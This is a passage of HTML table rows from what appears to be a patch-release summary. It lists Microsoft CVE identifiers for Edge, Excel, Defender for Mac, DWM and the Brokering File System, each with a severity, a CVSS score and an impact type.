  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50361"><span>CVE-2026-50361</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50466"><span>CVE-2026-50466</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50458"><span>CVE-2026-50458</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50658"><span>CVE-2026-50658</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56178"><span>CVE-2026-56178</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50657"><span>CVE-2026-50657</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50329"><span>CVE-2026-50329</span></a></td>
  <td width="256" class="xl74">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58541"><span>CVE-2026-58541</span></a></td>
  <td width="256" class="xl74">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58596"><span>CVE-2026-58596</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57991"><span>CVE-2026-57991</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58291"><span>CVE-2026-58291</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57981"><span>CVE-2026-57981</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57984"><span>CVE-2026-57984</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57985"><span>CVE-2026-57985</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57986"><span>CVE-2026-57986</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57988"><span>CVE-2026-57988</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57992"><span>CVE-2026-57992</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58276"><span>CVE-2026-58276</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56645"><span>CVE-2026-56645</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57974"><span>CVE-2026-57974</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57975"><span>CVE-2026-57975</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58281"><span>CVE-2026-58281</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58284"><span>CVE-2026-58284</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58285"><span>CVE-2026-58285</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58287"><span>CVE-2026-58287</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58288"><span>CVE-2026-58288</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58289"><span>CVE-2026-58289</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58290"><span>CVE-2026-58290</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58292"><span>CVE-2026-58292</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58293"><span>CVE-2026-58293</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58294"><span>CVE-2026-58294</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57983"><span>CVE-2026-57983</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58295"><span>CVE-2026-58295</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58525"><span>CVE-2026-58525</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57987"><span>CVE-2026-57987</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58278"><span>CVE-2026-58278</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56646"><span>CVE-2026-56646</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57977"><span>CVE-2026-57977</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57993"><span>CVE-2026-57993</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58282"><span>CVE-2026-58282</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58283"><span>CVE-2026-58283</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58286"><span>CVE-2026-58286</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58298"><span>CVE-2026-58298</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58524"><span>CVE-2026-58524</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58296"><span>CVE-2026-58296</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58297"><span>CVE-2026-58297</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58300"><span>CVE-2026-58300</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58522"><span>CVE-2026-58522</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58299"><span>CVE-2026-58299</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58523"><span>CVE-2026-58523</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50678"><span>CVE-2026-50678</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54988"><span>CVE-2026-54988</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48580"><span>CVE-2026-48580</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50408"><span>CVE-2026-50408</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55046"><span>CVE-2026-55046</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55138"><span>CVE-2026-55138</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55054"><span>CVE-2026-55054</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55122"><span>CVE-2026-55122</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55898"><span>CVE-2026-55898</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50675"><span>CVE-2026-50675</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55899"><span>CVE-2026-55899</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55948"><span>CVE-2026-55948</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58618"><span>CVE-2026-58618</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47642"><span>CVE-2026-47642</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55024"><span>CVE-2026-55024</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55025"><span>CVE-2026-55025</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55031"><span>CVE-2026-55031</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55048"><span>CVE-2026-55048</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55029"><span>CVE-2026-55029</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55039"><span>CVE-2026-55039</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55136"><span>CVE-2026-55136</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55141"><span>CVE-2026-55141</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
